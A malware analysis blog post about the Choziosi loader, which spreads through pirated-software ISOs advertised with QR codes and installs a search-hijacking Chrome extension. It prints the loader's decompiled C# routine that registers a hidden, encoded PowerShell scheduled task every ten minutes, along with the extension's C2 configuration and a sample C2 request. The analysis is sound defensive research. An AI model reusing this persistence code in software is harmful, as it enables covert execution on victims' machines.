QR codes on Twitter deliver malicious Chrome extension

By Karsten Hahn

Published: 2022-02-04 · Archived: 2026-04-05 18:02:14 UTC

02/03/2022

Reading time: 3 min (816 words)

ISO file downloads are advertised via QR codes on Twitter and on supposedly free gaming sites, but they don't contain what they promise.

QR codes on Twitter and malvertising

The loader for the malicious Chrome extension was initially analysed by @x3ph1 who dubbed it ChromeLoader. To avoid misunderstandings with legitimate Chrome components we hereby refer to it as **Choziosi loader**. The analysis on the loader is detailed but x3ph1 does not describe the Chrome extension Choziosi, which got me intrigued.

Twitter user @th3_protoCOL found QR codes that circulate on Twitter and advertise pirated software to lure people into downloading an ISO. Reddit users also complain about malicious ISO files on websites that provide Steam games. This tweet by @StopMalvertisin says the ISOs are downloaded via malicious advertisments.

The ISO file[3] has two main components. The **_meta.txt** contains a PowerShell script, which is encrypted with a substitution cipher. The **downloader.exe**[2] is a .NET assembly. It has a big dictionary with the substitution alphabet to decrypt the PowerShell script[4] in _meta.txt. It adds the PowerShell commands as scheduled task named **ChromeTask** which runs every ten minutes.

Other variants of the same malware use dictionaries to combine words into a task name. The downloader.exe also shows an error message to the user, claiming that the operating system is incompatible with the program.

```
// Token: 0x06000007 RID: 7 RVA: 0x00002378 File Offset: 0x00000578
private static void Main(string[] args)
{
    if (Program.MessageBox((IntPtr)0, "Error, incompatible OS", "Error", 5) == 99)
    {
        Environment.Exit(0);
    }
    using (TaskService taskService = new TaskService())
    {
        using (IEnumerator<Task> enumerator = taskService.AllTasks.GetEnumerator())
        {
            while (enumerator.MoveNext())
            {
                if (enumerator.Current.Definition.Actions[0].ToString().Contains("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E"))
                {
                    Environment.Exit(0);
                }
            }
        }
        TaskDefinition taskDefinition = taskService.NewTask();
        taskDefinition.RegistrationInfo.Description = "Example task";
        taskDefinition.Triggers.Add<TimeTrigger>(new TimeTrigger(DateTime.Now.AddMinutes(1.0))
        {
            Repetition = new RepetitionPattern(TimeSpan.FromMinutes(10.0), TimeSpan.Zero, false)
        });
        string str = Program.deScramble();
        taskDefinition.Actions.Add<ExecAction>(new ExecAction("cmd", "/c start /min \"\" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E " + str,
          null));
        string text = "ChromeTask";
        taskService.RootFolder.RegisterTaskDefinition(text, taskDefinition);
    }
}
```

downloader.exe schedules a task named ChromeTask which executes PowerShell

The PowerShell script downloads the Chrome extension **archive.zip**[1] from a malware server and installs it. Due to the scheduled task this continues to happen every ten minutes. This explains why some Reddit users complain that Chrome closes itself all the time. This is a mishap of the malware developer because the annoyance factor will make it more likely that affected users clean their system as soon as possible.

Malicious Chrome extension

The Chrome extension itself has not been analysed yet. Possibly because of its hefty obfuscation. While trying to debug the extension within Chrome, I already noticed that the extension settings **chrome://extensions** are redirected to the general settings **chrome://settings**. This prevents users from uninstalling the extension within Chrome.

The extension consists of four files. The application icon is called **properties.png** and shows a gearwheel. The **manifest.json** is part of every Chrome extension and has some metadata, e.g., about the icon location, extension name and permissions. The **config.js** contains the name of the extension, version number, C2 server and some form of id named **_dd** which is always sent as parameter to the server.

```
let _ExtnensionName = "Properties";
let _ExtensionVersion = "4.4";
let _dd = "NTI4MDAACgAABwYHDAAIAQIMCQgDBQ0GTA0DAQcFDU4JBgQHAgoBAwAARA==";
let _ExtDom = "https://tobepartou.com/";
let _ExtDomNoSchema = "tobepartou.com";
```

The main script is the **background.js**. It features control flow obfuscation via switch-case statement hopping which cannot be deobfuscated automatically by currently available tools. JavaScript Deobfuscator is able to perform intial cleanup, but the code remains unreadable. After identifying **v0MM.T7** and **v0MM.o7** as the ancor points for function string decoding, I replaced the calls to these functions with their return value. A second pass to JavaScript Deobfuscator and manual cleanup of now unneeded functions leads to the final deobfuscated code[5].

The extension's main functionality is to serve advertisments and hijack search requests to Google, Yahoo and Bing. Every three hours analytics are sent to the C2. The extension requests advertisments from the C2 server every 30 minutes.

The following image shows the extension's request to the C2 server in the first line and the server response in the second. The server provided a direct download link for a legitimate software product.

```
https://tobepartou.com/ad?ext=Properties&ver=4.4&dd=NTI4MDAACgAABwYHDAAIAQIMCQgDBQ0GTA0DAQcFDU4JBgQHAgoBAwAARA==

[[2,"https://track.totalav.com/5dca8f05e09a4/click/6153010460092072457/947110","//goog.tobepartou.com/ptr?i=5563e269d50d0209",60000]]
```

first line: request to the server; second line: server response with a legitimate download link.

Conclusion

When I started to work on this, I had admittedly other expectations on the malware's functionality. For now the only purpose is getting revenue via unsolicited advertisments and search engine hijacking. But loaders often do not stick to one payload in the long run and malware authors improve their projects over time. We will likely see more of this threat in the future.

File hashes

All mentioned files, including the decoded and deobfuscated files, are available for download on MalwareBazaar.

Description	SHA256
[1] Chrome extension	6b1db4f891aa9033b615978a3fcfef02f1904f4eba984ba756ff5cd755d6f0b4
[2] download.exe, .NET file	2d4454d610ae48bf9ffbb7bafcf80140a286898a7ffda39113da1820575a892f
[3] ISO	8840f385340fad9dd452e243ad1a57fb44acfd6764d4bce98a936e14a7d0bfa6
[4] Decrypted PowerShell script	2e958f481828ce7c59a3beab2ddac5561347e6f9bc25e6716c4524b845e83938
[5] Deobfuscated background.js	1c0254f0f811aadd6f1dad1cc5926f6b32fa2fb0866c35bf6a9f3dfad25fd9ca

Related articles:

Share Article

Content

Source: https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension